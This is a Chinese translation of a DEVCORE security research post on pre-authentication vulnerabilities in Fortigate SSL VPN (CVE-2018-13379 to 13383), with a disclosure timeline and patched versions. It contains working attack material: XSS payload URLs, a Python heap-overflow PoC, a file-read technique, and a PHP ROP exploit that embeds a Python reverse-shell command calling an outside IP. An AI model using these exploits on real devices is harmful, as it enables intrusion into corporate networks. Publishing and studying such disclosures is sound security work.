攻破Fortigate SSL VPN:从预认证漏洞到远程代码执行

本文详细分析了Fortigate SSL VPN中的多个预认证漏洞,包括任意文件读取、XSS和堆溢出,并展示了如何组合利用这些漏洞实现远程代码执行,影响企业内网安全。

Orange: 攻击SSL VPN - 第二部分:攻破Fortigate SSL VPN

作者:Meh Chang(@mehqq_) 和 Orange Tsai(@orange_8361) 本文也同步发布在DEVCORE博客上

上个月,我们以Palo Alto Networks GlobalProtect RCE作为开胃菜。今天,主菜来了!如果您无法参加Black Hat或DEFCON听我们的演讲,或者您对更多细节感兴趣,这里是幻灯片!

渗透企业内网如NSA:主流SSL VPN的预认证RCE

我们还将以下会议中发表演讲,欢迎来找我们!

  • HITCON - 8月23日 @ 台北(中文)
  • HITB GSEC - 8月29、30日 @ 新加坡
  • RomHack - 9月28日 @ 罗马
  • 更多……

让我们开始吧! 故事始于去年八月,当我们启动了一个关于SSL VPN的新研究项目。与IPSec和PPTP等站点到站点VPN相比,SSL VPN更易于使用且兼容任何网络环境。由于其便利性,SSL VPN成为企业最流行的远程访问方式!

然而,如果这个受信任的设备不安全呢?它是企业的重要资产,但却是企业的盲点。根据我们对财富500强的调查,前三名SSL VPN供应商占据了约75%的市场份额。SSL VPN的多样性较窄。因此,一旦我们在主流SSL VPN上发现关键漏洞,影响将是巨大的。无法阻止我们,因为SSL VPN必须暴露在互联网上。

在研究初期,我们对主流SSL VPN供应商的CVE数量进行了小调查:

看起来Fortinet和Pulse Secure是最安全的。真的吗?作为神话终结者,我们接受了这个挑战,开始攻击Fortinet和Pulse Secure!这个故事是关于攻击Fortigate SSL VPN。下一篇文章将是关于Pulse Secure的,那是最精彩的一部分!敬请期待!

Fortigate SSL VPN

Fortinet称他们的SSL VPN产品线为Fortigate SSL VPN,在终端用户和中小型企业中很流行。互联网上有超过48万台服务器在运行,在亚洲和欧洲很常见。我们可以从URL /remote/login识别它。以下是Fortigate的技术特点:

一体化二进制

我们从文件系统开始研究。我们尝试列出/bin/中的二进制文件,发现它们都是符号链接,指向/bin/init。就像这样:

1
lrwxrwxrwx 1 root root 8 Aug 10 2019 /bin/ls -> /bin/init

Fortigate将所有程序和配置编译成一个单一的二进制文件,这使得init非常庞大。它包含数千个函数,但没有符号!它只包含SSL VPN必要的程序,所以环境对黑客来说非常不方便。例如,甚至没有/bin/ls或/bin/cat!

Web守护进程

Fortigate上有两个Web接口运行。一个是管理界面,由端口443上的/bin/httpsd处理。另一个是普通用户界面,默认由端口4433上的/bin/sslvpnd处理。通常,管理页面应该从互联网限制访问,所以我们只能访问用户界面。

通过调查,我们发现Web服务器是从apache修改的,但它是2002年的apache。显然他们在2002年修改了apache并添加了自己的额外功能。我们可以映射apache的源代码来加速分析。

在两个Web服务中,他们还编译了自己的apache模块到二进制文件中来处理每个URL路径。我们可以找到一个指定处理程序的表并深入研究它们!

WebVPN

WebVPN是一个方便的代理功能,允许我们仅通过浏览器连接所有服务。它支持许多协议,如HTTP、FTP、RDP。它还可以处理各种Web资源,如WebSocket和Flash。为了正确处理网站,它解析HTML并为我们重写所有URL。这涉及大量的字符串操作,容易产生内存错误。

漏洞

我们发现了几个漏洞:

CVE-2018-13379:预认证任意文件读取

在获取相应的语言文件时,它使用参数lang构建json文件路径:

1
snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

没有保护,但会自动附加文件扩展名。看起来我们只能读取json文件。然而,实际上我们可以滥用snprintf的特性。根据man页面,它最多写入size-1到输出字符串。因此,我们只需要让它超过缓冲区大小,.json就会被剥离。然后我们可以读取任何我们想要的内容。

CVE-2018-13380:预认证XSS

有几个XSS:

1
2
3
/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
/message?title=x&msg=%26%23<svg/onload=alert(1)>;

CVE-2018-13381:预认证堆溢出

在编码HTML实体代码时,有两个阶段。服务器首先计算编码字符串所需的缓冲区长度。然后它编码到缓冲区中。在计算阶段,例如,编码字符串<是<,这应该占用5字节。如果遇到以&#开头的内容,如<,它认为已经编码了一个令牌,并直接计算其长度。像这样:

1
2
3
4
5
c = token[idx];
if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>')
    cnt += 5;
else if(c == '&' && html[idx+1] == '#')
    cnt += len(strchr(html[idx], ';')-idx);

然而,长度计算和编码过程之间存在不一致。编码部分处理得不多。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
switch (c)
{
    case '<':
        memcpy(buf[counter], "&#60;", 5);
        counter += 4;
        break;
    case '>':
    // ...
    default:
        buf[counter] = c;
        break;
    counter++;
}

如果我们输入一个恶意字符串如&#«<;,<仍然被编码为<,所以结果应该是&#<<<;!这比预期的6字节长得多,因此导致堆溢出。

PoC:

1
2
3
4
5
6
7
import requests

data = {
    'title': 'x', 
    'msg': '&#' + '<'*(0x20000) + ';<', 
}
r = requests.post('https://sslvpn:4433/message', data=data)

CVE-2018-13382:魔法后门

在登录页面,我们发现一个特殊参数叫magic。一旦参数满足硬编码字符串,我们可以修改任何用户的密码。

根据我们的调查,仍然有大量Fortigate SSL VPN缺乏补丁。因此,考虑到其严重性,我们不会披露魔法字符串。然而,这个漏洞已被CodeWhite的研究人员复现。其他攻击者很快就会利用这个漏洞!请尽快更新您的Fortigate!

CVE-2018-13383:认证后堆溢出

这是WebVPN功能上的一个漏洞。在解析HTML中的JavaScript时,它尝试用以下代码将内容复制到缓冲区:

1
memcpy(buffer, js_buf, js_buf_len);

缓冲区大小固定为0x2000,但输入字符串是无限的。因此,这里有一个堆溢出。值得注意的是,这个漏洞可以溢出Null字节,这在我们的利用中很有用。

要触发此溢出,我们需要将我们的利用放在HTTP服务器上,然后要求SSL VPN代理我们的利用作为普通用户。

利用

官方咨询最初描述没有RCE风险。实际上,这是一个误解。我们将向您展示如何从用户登录界面无需认证进行利用。

CVE-2018-13381

我们的第一次尝试是利用预认证堆溢出。然而,这个漏洞有一个根本缺陷——它不溢出Null字节。一般来说,这不是一个严重的问题。如今的堆利用技术应该克服这一点。然而,我们发现这在Fortigate上进行堆风水是一场灾难。有几个障碍,使堆不稳定且难以控制。

  • 单线程、单进程、单分配器:Web守护进程使用epoll()处理多个连接,没有多进程或多线程,主进程和库使用相同的堆,称为JeMalloc。这意味着,所有连接的所有操作的所有内存分配都在同一个堆上。因此,堆非常混乱。
  • 定期触发的操作:这干扰堆但不可控。我们无法仔细安排堆,因为它会被破坏。
  • Apache额外的内存管理:内存直到连接结束才会free()。我们无法在单个连接中安排堆。实际上,这可以是对堆漏洞的有效缓解,特别是对于use-after-free。
  • JeMalloc:JeMalloc隔离元数据和用户数据,因此很难修改元数据并玩弄堆管理。此外,它集中小对象,这也限制了我们的利用。

我们卡在这里,然后选择尝试另一种方式。如果有人成功利用了这个,请教我们!

CVE-2018-13379 + CVE-2018-13383

这是预认证文件读取和认证后堆溢出的组合。一个用于获得认证,一个用于获得shell。

获得认证

我们首先使用CVE-2018-13379泄漏会话文件。会话文件包含有价值的信息,如用户名和明文密码,这让我们可以轻松登录。

获得shell

登录后,我们可以要求SSL VPN代理我们恶意HTTP服务器上的利用,然后触发堆溢出。

由于上述问题,我们需要一个良好的目标来溢出。我们无法仔细控制堆,但也许我们可以找到定期出现的东西!如果它无处不在,每次我们触发漏洞时都能轻松溢出它,那就太好了!然而,从这个庞大的程序中找到这样的目标是一项艰苦的工作,所以我们当时卡住了……我们开始模糊测试服务器,试图得到一些有用的东西。

我们得到了一个有趣的崩溃。令我们大为惊讶的是,我们几乎控制了程序计数器!

1
2
3
4
5
6
Program received signal SIGSEGV, Segmentation fault.
0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
2: /x $rax = 0x41414141
1: x/i $pc
=> 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
(gdb)

崩溃发生在SSL_do_handshake()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
int SSL_do_handshake(SSL *s)
{
    // ...

    s->method->ssl_renegotiate_check(s, 0);

    if (SSL_in_init(s) || SSL_in_before(s)) {
        if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
            struct ssl_async_args args;

            args.s = s;

            ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
        } else {
            ret = s->handshake_func(s);
        }
    }
    return ret;
}

我们覆盖了struct SSL中称为method的函数表,所以当程序尝试执行s->method->ssl_renegotiate_check(s, 0);时,它崩溃了。

这实际上是我们利用的理想目标!struct SSL的分配可以轻松触发,大小接近我们的JavaScript缓冲区,所以它可以以固定偏移靠近我们的缓冲区!根据代码,我们可以看到ret = s->handshake_func(s);调用一个函数指针,这是控制程序流的完美选择。有了这个发现,我们的利用策略清晰了。

我们首先用大量正常请求喷洒堆SSL结构,然后溢出SSL结构。

这里我们将我们的php PoC放在HTTP服务器上:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
    function p64($address) {
        $low = $address & 0xffffffff;
        $high = $address >> 32 & 0xffffffff;
        return pack("II", $low, $high);
    }
    $junk = 0x4141414141414141;
    $nop_func = 0x32FC078;

    $gadget  = p64($junk);
    $gadget .= p64($nop_func - 0x60);
    $gadget .= p64($junk);
    $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
    $gadget .= p64($junk);
    $gadget .= p64($junk);
    $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
    $gadget .= p64(0x1bed1f6); // pop rax ; ret ;
    $gadget .= p64(0x58);
    $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
    $gadget .= p64(0x1366639); // call system ;
    $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";

    $p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
    $p .= $gadget;
    $p .= str_repeat('A', 0x1000 - strlen($gadget));
    $p .= $gadget;
?>
<a href="javascript:void(0);<?=$p;?>">xxx</a>

PoC可以分为三个部分。

伪造SSL结构

SSL结构与我们的缓冲区有固定偏移,所以我们可以精确伪造它。为了避免崩溃,我们将method设置为包含void函数指针的地方。此时的参数是SSL结构本身s。然而,method之前只有8字节。我们无法简单地在HTTP服务器上调用system("/bin/sh");,所以这对于我们的反向shell命令来说不够。感谢庞大的二进制文件,很容易找到ROP gadgets。我们找到了一个有用的栈旋转:

1
push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;

所以我们设置handshake_func为此gadget,将rsp移动到我们的SSL结构,并进行进一步的ROP攻击。

ROP链

这里的ROP链很简单。我们稍微将rdi向前移动,以便有足够的空间用于我们的反向shell命令。

溢出字符串

最后,我们连接溢出填充和利用。一旦我们溢出SSL结构,我们就获得一个shell。

我们的利用需要多次尝试,因为我们可能溢出一些重要的东西并使程序在SSL_do_handshake之前崩溃。无论如何,由于Fortigate可靠的看门狗,利用仍然稳定。只需要1~2分钟就能获得反向shell。

演示

时间线

  • 2018年12月11日 报告给Fortinet
  • 2019年3月19日 所有修复计划
  • 2019年5月24日 所有咨询发布

修复

升级到FortiOS 5.4.11、5.6.9、6.0.5、6.2.0或更高版本。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计